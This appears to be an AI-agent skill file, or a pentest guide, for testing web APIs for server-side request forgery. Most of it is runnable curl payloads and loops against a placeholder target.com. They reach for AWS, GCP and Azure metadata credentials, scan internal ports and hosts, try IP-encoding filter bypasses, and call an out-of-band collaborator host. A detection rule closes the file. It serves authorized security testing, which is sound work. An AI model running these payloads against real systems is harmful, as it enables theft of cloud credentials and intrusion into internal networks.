<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-ssrf-via-api
description: >-
  Test API parameters that accept URLs for Server-Side Request Forgery (SSRF)
  vulnerabilities including cloud metadata access, internal service scanning,
  and protocol smuggling through webhook and redirect parameters.
domain: cybersecurity
subdomain: api-security
tags:
  - ssrf
  - api-security
  - owasp-api7
  - cloud-metadata
  - internal-network
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1552.005"]
  owasp-api: ["API7"]
  tools: ["curl", "burp-suite", "nuclei", "ssrfmap"]
---

# Testing SSRF via API

## Overview

APIs that accept URL parameters for webhooks, callbacks, file imports, or
redirects are prime SSRF targets. Successful exploitation accesses cloud
metadata services (169.254.169.254), internal networks, and backend services
not intended for external access.

## Prerequisites

- Tools: ["curl", "burp-suite", "nuclei", "ssrfmap"]
- Collaborator/interactsh server for out-of-band detection
- Authorized testing engagement with written scope

## Key Concepts

- **Cloud metadata**: AWS/GCP/Azure metadata endpoints on link-local addresses
- **Internal scanning**: Using SSRF to map internal network topology
- **Protocol smuggling**: Abusing URL parsers to switch protocols (file://, gopher://)
- **Blind SSRF**: No response returned — detect via DNS/HTTP callbacks

## Workflow

### Step 1: Identify URL-Accepting Parameters

```bash
# Common SSRF-vulnerable parameters
PARAMS=("url" "uri" "callback" "redirect" "webhook" "fetch" "load"
        "import" "preview" "proxy" "link" "src" "source" "dest"
        "image_url" "avatar_url" "return_url" "next")

# Scan API documentation for URL parameters
grep -riE 'url|uri|callback|webhook|redirect|fetch|proxy' openapi.yaml
```

### Step 2: Cloud Metadata Testing

```bash
# AWS metadata (IMDSv1)
curl -s -X POST https://target.com/api/webhook \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'

# AWS metadata — IMDSv2 bypass via redirect
curl -s -X POST https://target.com/api/preview \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -s -X POST https://target.com/api/webhook \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -s -X POST https://target.com/api/webhook \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
```

### Step 3: Internal Network Scanning

```bash
# Scan common internal ports via SSRF
for PORT in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  RESP=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
    -X POST https://target.com/api/webhook \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:$PORT/\"}")
  echo "Port $PORT: $RESP"
done

# Internal host discovery
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "10.0.0.$i: %{http_code}\n" \
    -X POST https://target.com/api/webhook \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://10.0.0.$i/\"}"
done
```

### Step 4: Filter Bypass Techniques

```bash
# IP representation bypass
BYPASSES=(
  "http://127.0.0.1"
  "http://0x7f000001"
  "http://2130706433"
  "http://017700000001"
  "http://127.1"
  "http://0"
  "http://[::1]"
  "http://[::]"
  "http://0177.0.0.1"
  "http://127.0.0.1.nip.io"
)

for B in "${BYPASSES[@]}"; do
  curl -s -o /dev/null -w "$B: %{http_code}\n" \
    -X POST https://target.com/api/webhook \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"$B/\"}"
done

# DNS rebinding setup (use a rebinding service)
# First resolution → allowed IP, second resolution → 127.0.0.1
```

### Step 5: Blind SSRF with Out-of-Band Detection

```bash
# Using interactsh for OOB detection
interactsh-client -v 2>&1 &
COLLAB_URL="GENERATED_URL.oast.fun"

curl -s -X POST https://target.com/api/webhook \
  -H "Content-Type: application/json" \
  -d "{\"url\":\"http://$COLLAB_URL/ssrf-test\"}"

# Nuclei SSRF templates
nuclei -u https://target.com -t http/vulnerabilities/generic-ssrf.yaml
nuclei -u https://target.com -t http/vulnerabilities/ -tags ssrf
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Metadata IP requests | VPC flow logs | Outbound to 169.254.169.254 |
| Internal IP in requests | WAF | URL params with RFC1918 addresses |
| DNS rebinding | DNS logs | Rapid A record changes for same domain |
| Unusual outbound | Proxy logs | Server making unexpected HTTP requests |

```yaml
title: SSRF Attempt via API URL Parameter
id: d4e5f6a7-b8c9-0123-def0-456789012345
status: experimental
description: Detects API requests with URL parameters targeting internal/metadata addresses
logsource:
  category: application
detection:
  selection:
    request_body|contains:
      - '169.254.169.254'
      - '127.0.0.1'
      - 'metadata.google.internal'
      - '0x7f000001'
      - '[::1]'
  condition: selection
falsepositives:
  - Health check configurations referencing localhost
level: high
tags:
  - attack.t1190
  - attack.t1552.005
```

## Verification

- [ ] URL-accepting parameters identified and tested
- [ ] Cloud metadata access tested (AWS/GCP/Azure)
- [ ] Internal network scanning tested via SSRF
- [ ] Filter bypass techniques tested
- [ ] Blind SSRF with OOB detection tested
- [ ] Detection artifacts identified

## References

- [OWASP API7:2023 — Server Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)
- [SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [MITRE ATT&CK T1552.005](https://attack.mitre.org/techniques/T1552/005/)
